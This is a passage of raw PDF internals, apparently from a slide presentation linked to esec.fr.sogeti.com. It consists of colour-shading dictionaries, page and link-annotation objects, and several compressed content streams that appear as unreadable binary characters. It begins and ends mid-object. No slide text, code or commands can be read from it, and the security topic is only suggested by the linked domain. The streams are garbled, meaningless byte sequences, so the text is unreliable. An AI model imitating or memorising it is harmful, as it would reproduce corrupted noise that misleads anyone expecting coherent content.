\gW(Rxj]?fU7dY)O_dj(> endobj 206 0 obj << /D [ 203 0 R /XYZ 334.488 1.245 null ] >> endobj 207 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 208 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1.8888 ] /Coords [ 1.23436 2.69772 0 1.8888 1.8888 1.8888 ] /Function << /FunctionType 3 /Domain [ 0 1.8888 ] /Functions [ << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 0.58167 1.16342 1.59972 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 209 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99971 0.99333 0.97559 ] /C1 [ 0.99971 0.99333 0.97559 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99971 0.99333 0.97559 ] /C1 [ 0.99883 0.97333 0.90236 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 210 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 4.00005 4.00005 0 4.00005 4.00005 4.00005 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 1 1 1 ] /N 1 >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 211 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 8.00009 8.00009 0 8.00009 8.00009 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 212 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 0 0 0 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 1 1 1 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 213 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.98523 0.98535 0.98947 ] /C1 [ 0.92618 0.92676 0.94736 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.92618 0.92676 0.94736 ] /C1 [ 0.9011 0.90164 0.92087 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.9011 0.90164 0.92087 ] /C1 [ 0.90079 0.90117 0.9149 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.90079 0.90117 0.9149 ] /C1 [ 0.99971 0.99333 0.97559 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 214 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 215 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 216 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 217 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 218 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 219 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 220 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 221 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 222 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 223 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 224 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 225 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 226 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 227 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 228 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 229 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 230 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 231 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 232 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 233 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 234 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 235 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 236 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 237 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 238 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 239 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 240 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 241 0 obj << /Type /Page /Contents 242 0 R /Resources 240 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 214 0 R 215 0 R 216 0 R 217 0 R 218 0 R 219 0 R 220 0 R 221 0 R 222 0 R 223 0 R 224 0 R 225 0 R 226 0 R 227 0 R 228 0 R 229 0 R 230 0 R 231 0 R 232 0 R 233 0 R 234 0 R 235 0 R 236 0 R 237 0 R 238 0 R 239 0 R ] /AA << /O << /S /GoTo /D [ 276 0 R /Fit ] >> >> >> endobj 242 0 obj << /Length 2422 /Filter /FlateDecode >>stream xZYS#~W+yq=Ä7rD@u6jaxᙀΪ*+K))yΔWI'{!-[/g?^(ᩄՎyK7[υq2 2xn⠣-'j/ ?(zRKޯư-E7T@@0 O0N-cQ!΂蕲b0t:1`ǹfeZ* @O"}y64^fBu#$#yJzsރp@jA&}Mׅ<5&U}˫σ6䑀?<6fnN_|Nj׬JWP}|;`?ˎgD }¢ IF!!X9 )9dV Vd6 8)h^h=NVHY΃% }+2S[<W%U^]` x|vȃ9R6uWw4 9xk`d$gɸGN"`r^cghK5&ROY}aofa=VXa倜T;Z-( 6SJ;0*9 1rq!b`,܃P$ӈԍ"}HpY97EVwj$¡'ێN؀#>wΩA9gR,.r3O8j  7]StO9'B>_d /dP%#6%ߏy^8&vyg() EL>nn/$|6 x+Bw95f %7^eN~hɏ};hTo q[Y`6oM>eXBkGNk ]mȠl ºl4 ~RPip"R f&lwh7FfN|B|,u,zq{XٷH-ierV[W D_.Iž$!e2o'Ǩq|7ߎ!C8ac׭2MF) J dq}EQm郆ŐaIΏ}Iu95bD/A0R,}$cB* Si K2@LES( DK+ZC}*q`EL(^y`rՕi M|dEIhrrM)RU%k[׎NwG+e3#T!nWɭD =VL|LNϛ庝#9ӮnSS;] $^4j٤?ë́N) kyS|RoA2cJ}=M@$&5˦_(_U]c@C:_{F 4jNiet%q2*9Mg ob"[5v#cDp'1MtE[ׇxHc |$,^L:vкW$WX*>iJV{.V&SDd+8 >{bwO endstream endobj 243 0 obj << /D [ 241 0 R /XYZ 334.488 1.245 null ] >> endobj 244 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 11.501 11.501 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 279 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 245 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 166.639 167.034 178.642 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 246 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 140.297 151.749 151.742 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 247 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 115.331 101.969 124.843 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 248 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 86.499 253.638 97.944 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 249 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 250 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 251 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 252 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 253 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 254 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 255 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 256 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 257 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 258 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 259 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 260 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 261 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 262 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 263 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 264 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 265 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 266 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 267 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 268 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 269 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 270 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 271 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 272 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 273 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 274 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 275 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 276 0 obj << /Type /Page /Contents 277 0 R /Resources 275 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 249 0 R 250 0 R 251 0 R 252 0 R 253 0 R 254 0 R 255 0 R 256 0 R 257 0 R 258 0 R 259 0 R 260 0 R 261 0 R 262 0 R 263 0 R 264 0 R 265 0 R 266 0 R 267 0 R 268 0 R 269 0 R 270 0 R 271 0 R 272 0 R 273 0 R 245 0 R 246 0 R 247 0 R 248 0 R 274 0 R ] /AA << /O << /S /GoTo /D [ 309 0 R /Fit ] >> >> >> endobj 277 0 obj << /Length 1810 /Filter /FlateDecode >>stream xZIo[7WT"CqɭAʲk%h33ܞmI%M48\fH ęP@k[ )Je0^KN\O`G2FA(g%C_7Bilu K.9`J ]Hcd6u|SNNEC:]8r@N%v 1Ni;fs%KWpЉmvQEL7Fhd8}Z̭,Y(t% Jј11}k{!#;l RNɘ(oM+IV/o|N u* ՊwPN12ި~@v#QG0!OR>=ޜMP޺%_$}S1l(^-[r.?L:ψ xB5P5|.c Wz5]?e hIeC ~K=<7Nƨ0\bF(+v)Mw$d*\ylɍZHn_d K)4wB4j ]MaJ)cE|6y~):8`Sz޴[w~y9(;=T/On3KhB R[ y{%|RZ3 )Nd5ViǢwWX]!")"戉 JU#)HgiU;?oQQtw=K wtz 2ϹjcR{6/pH>B;W9)oqki5WV穌g<{?I=`{I#:=E endstream endobj 278 0 obj << /D [ 276 0 R /XYZ 334.488 1.245 null ] >> endobj 279 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 5.75043 ] /Coords [ 3.53873 8.4045 0 5.75043 5.75043 5.75043 ] /Function << /FunctionType 3 /Domain [ 0 5.75043 ] /Functions [ << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.6555 0.65823 0.75432 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.1099 0.11482 0.28777 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.1099 0.11482 0.28777 ] /C1 [ 0.10706 0.11058 0.23413 ] /N 1 >> << /FunctionType 2 /Domain [ 0 5.75043 ] /C0 [ 0.10706 0.11058 0.23413 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 1.9463 3.89261 5.30806 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 280 0 obj << /D [ 309 0 R /XYZ 334.488 1.245 null ] >> endobj 281 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/pdffull.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 313 0 R /BBox [ 0 0 466 380 ] /Resources << /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] /ColorSpace << /Cs2 314 0 R /Cs1 315 0 R >> /ExtGState << /Gs2 316 0 R /Gs3 317 0 R /Gs4 318 0 R /Gs1 319 0 R /Gs5 320 0 R >> /Font << /F1.0 321 0 R /F2.0 322 0 R /F3.0 323 0 R >> /XObject << /Im22 324 0 R /Im7 325 0 R /Im5 326 0 R /Im15 327 0 R /Im10 328 0 R /Im11 329 0 R /Im12 330 0 R /Im21 331 0 R /Im27 332 0 R /Im26 333 0 R /Im16 334 0 R /Im18 335 0 R /Im2 336 0 R /Im29 337 0 R /Im13 338 0 R /Im23 339 0 R /Im20 340 0 R /Im6 341 0 R /Im17 342 0 R /Im3 343 0 R /Im25 344 0 R /Im28 345 0 R /Im24 346 0 R /Im4 347 0 R /Im8 348 0 R /Im9 349 0 R /Im1 350 0 R /Im19 351 0 R /Im14 352 0 R >> >> /Length 5223 /Filter /FlateDecode >>stream xr²3޸/c2jKAܒ 9i D@^m~jtk77ôgvY]zz߀O]pèa4/x{Xaf\~5>`- cE -&?ݿ^~6ijvq5s}r iXnZk6j50O6xh kL68C|l=*P0٢\:.g>r'-V<-1s=?0밍ׇ2ln}F>2Ӆ'3sc.lӶmc^ٮ0a[q궵mcglB\cYCif(.AN a]چeVb0bUq{kEԅiBez`l zVaDc? *MpE,8s]ٱEOSaGzzDCmee(v-C |f=߳Kys0@ ERCqkϠتԎ[7LB ފvzQS-:IΙ oi6iԺ'f2\ⴖmwMI"g EM|)CvHP]n1c(ެоo'dz>^Mi$+ g -ء#M2,XH#xֆ} " ̀zBAj\~L(پ)371Uf\둟߷?EYXZ"IKOSCq+,ۛe)߆޾z|{ջR8D|N90gSLK1%0ՄY6YJLd/dk$<_v~Nᱚ1yq=u"+B^Q?5+O&?֒c4~qv&b]=JO9'y2dތlz x6bAk2QU>AmxF(l `7hH淐gK&ϯg^*=\ & ]fH"V .=tHb /Jm˖{cei%Mq'cq )y~ =ȼ %L&4+#_``jpɊOޝ4:&k8eä !zz?0Yl6u+E9hcurv0vOo<??ki{ݧ6"Ehg<_~:Y7sٗB>|YXe_$Ck1 ~3 Bݤ s-"t)0&$;ZJ*aŽ2t8Oi{eU'Gw g'Xz,3FդᢹUbQB W.ޔ9ey\}:ZtIJXXFKBzEsSs5.^uj7NVX{lm$}E@IvОd_:fVបRsnm~&aRetVuv\%ޗmmDW JϑstE4D߾6'mܖz\ ,ڴQFdAAaN'͝\Mcz8ѯ _uUR%/|Zfܽp~++M d^T@\Rb %i1f, t`ѤC˧פ%FQHB9sSe{+P`a -KgwFVKhXT-&/2Zz"a8F'uI,u߮c7h %)5q 1H8@[F=kk]{ޱ0PF-Y@ҷ4 dOq!px Pr; Q>aخOwhz E9SD7予'.#TֽWz!DļrFRL?KkW^r--H;]׬衮z{S uLGl+p@M8 Y1@p@I[Pn-v#ʪMft PuJ^X.R* wk%;Z4o%:KH%V$}p##4+nMí ><@6Nn^W^`Y ZfrS4`T] Eó$v49)<`tfdL&ɧuq83o((?v;DbqIZ7ز|ˏ>}j{]:>n0;Җ!H{S`ɅoèBJ̀gf 0ΕofBBC#zi2c[@ڐ:/C%ӕ'@t9Jdotvtv/4}e`""f=<7<>8HGJ pV!,DH82sԵL#ʨq_x5"(,M8T+VXnbER&X48m4s#% 063_gUbCE^P!{O2&w*W o$>W#yWH}OT8RܤPmይ m"$ȿ6 Ǫ`?m_~G**_# Aae$@dm{ V!Ԇƚ0KxaT.r;@7aC;DQr\FOz ?fz!r˭:!ϼћ$ μ(Ϣaչ_U^;ͷQQλU/SPӀZRZ~fIoF/! +YZvPusЫ7X( ;2b+(A*M6Hz'rf 8`v"zͫ ʃg̓?Z.j;LBe?7g|ooBWՋ}U(cU^ρSnr3K{ PZNM$=YN;NFT#}|'w}eǂWY1r%F D(#J:UXe|63, FjCr jz1&:M%B2I&w+lqb_(.V 3mM F i9YuN3yqC4V`PeYA\٩i\XcP7:k@@&z90~Uڒ˯ˇtAc,Fn;@BtBہ;";lcnVWSZq'7`J C䢴j&Y(Uٜ47*DrQ-he\q\椆ec>k2ʸ/n =A)>Kfy(d40\tʇDG !vxִ!+Q4w֨ cJ1Ӊ489 4iSଝς*-LOf>s4}HU5d7ast4Jow_ ~\1$ܨ"IKi+u.%_1uo_|| @ih=dE/xyf|Q endstream endobj 282 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 283 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 284 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 285 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 286 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 287 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 288 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 